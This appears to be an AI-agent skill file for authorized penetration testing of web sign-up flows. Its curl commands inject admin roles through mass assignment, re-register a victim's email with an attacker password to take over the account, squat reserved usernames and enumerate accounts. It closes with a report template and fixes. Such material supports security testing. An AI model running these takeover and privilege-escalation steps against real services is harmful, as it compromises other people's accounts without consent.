--- name: testing-registration-and-account-flaws-ac50f5aca3ca description: Identifying and exploiting weaknesses in account registration including duplicate/overwrite registration, weak password policy, missing email verification, disposable email acceptance, route-clobbering usernames, pre-account-takeover, and role mass-assignment. domain: cybersecurity subdomain: web-application-security tags: - penetration-testing - registration - account-takeover - mass-assignment - email-verification - owasp - web-security version: '1.0' author: Krishna Kumar (xalgord) license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 --- # Testing Registration and Account Flaws ## When to Use - During authorized penetration tests of any self-service sign-up / account-creation flow - When the application lets users choose usernames, emails, or other identifiers that may collide or clobber resources - For validating that registration enforces verification, uniqueness, a strong password policy, and server-controlled roles - When testing for pre-account-takeover where an attacker registers an account before the legitimate owner - During bug bounty programs targeting broken authentication, mass assignment, and improper input validation (OWASP A04/A07:2021) ## Prerequisites - **Authorization**: Written penetration testing agreement for the target application - **Burp Suite Professional**: Proxy + Repeater + Intruder for replaying and tampering sign-up requests - **Multiple inboxes**: real, plus disposable-mail and "+alias" addresses for verification tests - **A victim identifier**: an email/username the attacker does not control, to test pre-account-takeover - **curl / httpie**: For manual request crafting and parameter injection - **Knowledge of app routes**: to test username values that may collide with paths (admin, images, api) ## Critical: Checks Most Often Missed Registration flaws quietly enable takeover and privilege escalation. For every sign-up flow, work through this checklist: - **Mass-assignment of role/privilege** (highest signal): add fields the form never shows — `"role":"admin"`, `"is_admin":true`, `"isStaff":true`, `"verified":true`, `"plan":"enterprise"`, `"account_type":"admin"`. If the backend binds the whole object, you self-provision privilege at sign-up. - **Duplicate registration / overwrite**: register an email/username that already exists. If it succeeds, it may overwrite the existing account, reset its password, or merge — leading to takeover of the original user. - **Pre-account-takeover (no email validation)**: register the victim's email with your password BEFORE they sign up. If the app does not verify email and later links an SSO/OAuth login to the same email, you retain access alongside the victim. - **Special-username route clobbering**: register usernames like `admin`, `images`, `contact`, `api`, `assets`, `static`, `.well-known`. If profiles live at `/{username}`, your account can shadow `/images` or `/admin` and break or hijack app routes/content. - **Missing/weak email verification**: complete registration and use the account fully without ever confirming the address; or find the verification token is guessable/leaked/reusable. - **Disposable / plus-alias email acceptance**: `victim+1@`, `victim+2@`, and `@mailinator.com` style addresses bypass per-email limits and abuse controls. - **Weak password policy**: accept `123456`, `password`, single char, or the username as the password; no length/complexity/breached-password checks. - **Username reuse / case & unicode collisions**: `Admin`, `admin `, `аdmin` (Cyrillic а), trailing dots/spaces that normalize to an existing user. - **Registration over HTTP**: the sign-up form posts credentials over cleartext. - **Enumeration at sign-up**: "email already registered" reveals valid accounts. ## Workflow ### Step 1: Map the Registration Request and Response Model Capture the full sign-up request, including any hidden or backend-managed fields. ```bash # Baseline registration; capture the exact JSON the client sends curl -s -i -X POST "https://target.example.com/api/register" \ -H "Content-Type: application/json" \ -d '{"email":"attacker@yourinbox.com","username":"tester1","password":"Passw0rd!"}' # Note the response object — it often reveals server-managed fields you can try # to set yourself, e.g.: # {"id":1001,"email":"...","role":"user","verified":false,"plan":"free"} # -> candidate mass-assignment targets: role, verified, plan ``` ### Step 2: Mass-Assignment of Role and Privileged Fields Inject privileged attributes the form never exposes. ```bash # Add hidden privilege fields to the body and observe whether they stick curl -s -i -X POST "https://target.example.com/api/register" \ -H "Content-Type: application/json" \ -d '{ "email":"attacker+ma@yourinbox.com", "username":"tester-ma", "password":"Passw0rd!", "role":"admin", "is_admin":true, "isStaff":true, "verified":true, "email_verified":true, "plan":"enterprise", "account_type":"admin", "permissions":["*"] }' # Then read the created account / token claims to confirm the field persisted: curl -s -H "Authorization: Bearer " \ "https://target.example.com/api/account/me" | jq '{role,is_admin,verified,plan}' # Also try nested + alternate encodings the binder may accept: # "user[role]=admin" (form-encoded nested) # {"profile":{"role":"admin"}} # role appended as a query param: /api/register?role=admin ``` ### Step 3: Duplicate / Overwrite Registration and Username Collisions Register identifiers that already exist or normalize to existing ones. ```bash # Register the SAME email/username again and watch for overwrite/merge/reset curl -s -i -X POST "https://target.example.com/api/register" \ -H "Content-Type: application/json" \ -d '{"email":"victim@corp.com","username":"victim","password":"Attacker123!"}' # 200/201 (not "already exists") => possible overwrite; then try logging in # as victim with Attacker123! to confirm takeover. # Collision variants that may normalize to an existing account: for u in "Victim" "victim " "victim." "victim@corp.com " "VICTIM@corp.com" "vіctim"; do curl -s -o /dev/null -w "$u -> %{http_code}\n" \ -X POST "https://target.example.com/api/register" \ -H "Content-Type: application/json" \ --data-raw "{\"email\":\"$u\",\"username\":\"$u\",\"password\":\"Passw0rd!\"}" done # (note: vіctim uses a Cyrillic 'і' — unicode confusable collision) ``` ### Step 4: Special-Username Route Clobbering Register usernames that collide with application paths. ```bash # If profiles render at https://target.example.com/{username}, registering a # reserved word can shadow or break real routes / static assets. for name in admin images contact api assets static css js login \ dashboard settings about ".well-known" robots.txt; do curl -s -o /dev/null -w "%-14s -> %{http_code}\n" "$name" \ -X POST "https://target.example.com/api/register" \ -H "Content-Type: application/json" \ --data-raw "{\"email\":\"attacker+$name@yourinbox.com\",\"username\":\"$name\",\"password\":\"Passw0rd!\"}" done # Then check whether the route now resolves to attacker content / breaks: curl -s -i "https://target.example.com/images" | head -n 20 # attacker-controlled profile served at /images = route clobbering confirmed ``` ### Step 5: Email Verification, Disposable Mail, and Pre-Account-Takeover Test whether verification is enforced and whether accounts can be pre-claimed. ```bash # --- Use the account WITHOUT verifying --- # Register, then immediately call an authenticated endpoint: curl -s -o /dev/null -w "%{http_code}\n" \ -H "Authorization: Bearer " \ "https://target.example.com/api/account/sensitive-action" # 200 before any email click = verification not enforced. # --- Disposable / plus-alias acceptance (bypass per-email limits) --- for e in "abuse@mailinator.com" "abuse@guerrillamail.com" \ "victim+1@corp.com" "victim+2@corp.com"; do curl -s -o /dev/null -w "$e -> %{http_code}\n" \ -X POST "https://target.example.com/api/register" \ -H "Content-Type: application/json" \ --data-raw "{\"email\":\"$e\",\"username\":\"u-$RANDOM\",\"password\":\"Passw0rd!\"}" done # --- Pre-account-takeover --- # 1) Attacker registers the victim's email + attacker password (no verification) curl -s -X POST "https://target.example.com/api/register" \ -H "Content-Type: application/json" \ -d '{"email":"victim@corp.com","username":"victim","password":"Attacker123!"}' # 2) Later the victim "Sign in with Google/SSO" using victim@corp.com and the # app LINKS the federated identity to the pre-existing local account. # 3) Attacker still logs in with Attacker123! => shared/persistent access. ``` ### Step 6: Password Policy, Transport, and Enumeration Probe credential strength rules, cleartext transport, and account enumeration. ```bash # --- Weak password policy --- for p in "1" "123456" "password" "tester1" "aaaaaa"; do curl -s -o /dev/null -w "$p -> %{http_code}\n" \ -X POST "https://target.example.com/api/register" \ -H "Content-Type: application/json" \ --data-raw "{\"email\":\"attacker+pw$RANDOM@yourinbox.com\",\"username\":\"u$RANDOM\",\"password\":\"$p\"}" done # Any 200/201 for trivial values = weak/missing policy (also test password==username). # --- Registration over HTTP --- curl -s -i -X POST "http://target.example.com/api/register" \ -H "Content-Type: application/json" \ -d '{"email":"a@b.com","username":"u","password":"Passw0rd!"}' | head -n1 # Accepted over http:// = credentials submitted in cleartext. # --- Account enumeration --- curl -s -X POST "https://target.example.com/api/register" \ -H "Content-Type: application/json" \ -d '{"email":"known@corp.com","username":"x","password":"Passw0rd!"}' # "email already registered" vs generic success = enumeration of valid accounts. ``` ## Key Concepts | Concept | Description | |---------|-------------| | **Mass Assignment** | Backend binds the whole request body to the model, letting attackers set role/verified/plan | | **Duplicate / Overwrite Registration** | Re-registering an existing identifier overwrites, merges, or resets the original account | | **Pre-Account-Takeover** | Attacker pre-registers a victim's email; later SSO linking grants shared access | | **Route Clobbering** | A username equal to an app path (`images`, `admin`) shadows or breaks that route | | **Email Verification** | Confirming control of the address before granting account capabilities | | **Disposable / Plus-Alias Email** | Throwaway or `+tag` addresses that bypass per-email abuse limits | | **Password Policy** | Length/complexity/breached-password rules preventing trivial credentials | | **Identifier Normalization** | Case/whitespace/unicode handling that can collapse distinct inputs to one account | | **Account Enumeration** | Sign-up responses revealing which emails/usernames already exist | ## Tools & Systems | Tool | Purpose | |------|---------| | **Burp Suite Professional** | Replay and tamper sign-up requests, inject hidden fields, fuzz usernames | | **Burp Intruder / ffuf** | Bulk-test reserved usernames, password values, and collision variants | | **Mailinator / temp-mail / +aliases** | Generate disposable inboxes to test verification and abuse limits | | **jwt_tool** | Inspect tokens issued at registration for injected role/verified claims | | **curl / httpie** | Manual mass-assignment, overwrite, and transport tests | | **OWASP ZAP** | Free proxy alternative for request tampering and fuzzing | ## Common Scenarios ### Scenario 1: Admin via Mass Assignment The registration handler does `User.create(req.body)`. Adding `"role":"admin"` to the JSON body persists an administrative role because no field allowlist exists, granting instant privilege escalation. ### Scenario 2: Pre-Account-Takeover through SSO Linking The app allows unverified local registration. An attacker registers `ceo@corp.com` with their own password. When the CEO later signs in with Google, the app links the federated identity to the pre-existing local account, leaving the attacker's password valid. ### Scenario 3: Route Clobbering with Reserved Username User profiles are served at `/{username}`. Registering the username `images` causes `/images` to resolve to the attacker's profile, breaking asset loading and enabling content spoofing on a trusted path. ### Scenario 4: Overwrite Registration Resets Victim Submitting a registration for an existing email returns success and resets the stored password hash, letting the attacker log in as the original user. ## Output Format ``` ## Registration / Account Finding **Vulnerability**: Privilege Escalation via Mass Assignment at Registration **Severity**: Critical (CVSS 9.1) **Location**: POST /api/register **OWASP Category**: A04:2021 - Insecure Design / A07:2021 - Auth Failures ### Reproduction Steps 1. Send POST /api/register with the normal fields plus "role":"admin" and "verified":true 2. Receive 201 Created and an auth token for the new account 3. Call GET /api/account/me and observe role=admin, verified=true 4. Access admin-only endpoints successfully with the self-provisioned account ### Tested Weaknesses | Test | Result | |------|--------| | Mass-assignment role/verified | Persisted (admin) | | Duplicate/overwrite registration | Overwrites existing user | | Email verification enforced | No (account usable immediately) | | Disposable / +alias email | Accepted | | Weak password ("123456") | Accepted | | Reserved-username clobbering | /images shadowed | | Registration transport | http:// accepted | | Account enumeration | "email already registered" | ### Impact - Any anonymous user can self-register as an administrator - Pre-registration of victim emails enables shared access after SSO linking - Reserved usernames break or hijack trusted application routes ### Recommendation 1. Bind only an explicit allowlist of fields; set role/verified/plan server-side 2. Reject registration for existing identifiers; normalize case/whitespace/unicode before uniqueness checks 3. Require verified email control before granting account capabilities; block disposable domains as policy dictates 4. Enforce a strong, breached-password-checked policy and require HTTPS for sign-up 5. Maintain a reserved-username denylist (admin, images, api, .well-known, etc.) and return generic responses to prevent enumeration ``` --- Source attribution: xalgord Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/web-application-security/testing-registration-and-account-flaws/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Mega AI Hub. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. 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See the License for the specific language governing permissions and limitations under the License. # Mega AI Hub resource metadata Creator / publisher: xalgord Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/web-application-security/testing-registration-and-account-flaws/SKILL.md Attribution basis: Source repository record Fields of work: Data & Analytics, Development & Engineering Roles: Data Analyst, DevOps / SRE, QA / Test Engineer, Security Engineer Specialties: Testing Tools: Burp Suite, Curl, Httpie Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: 1547f66d251c8fcb3074d87363aca0835c7fcee7d1c5827a27d7f7b2446bd17e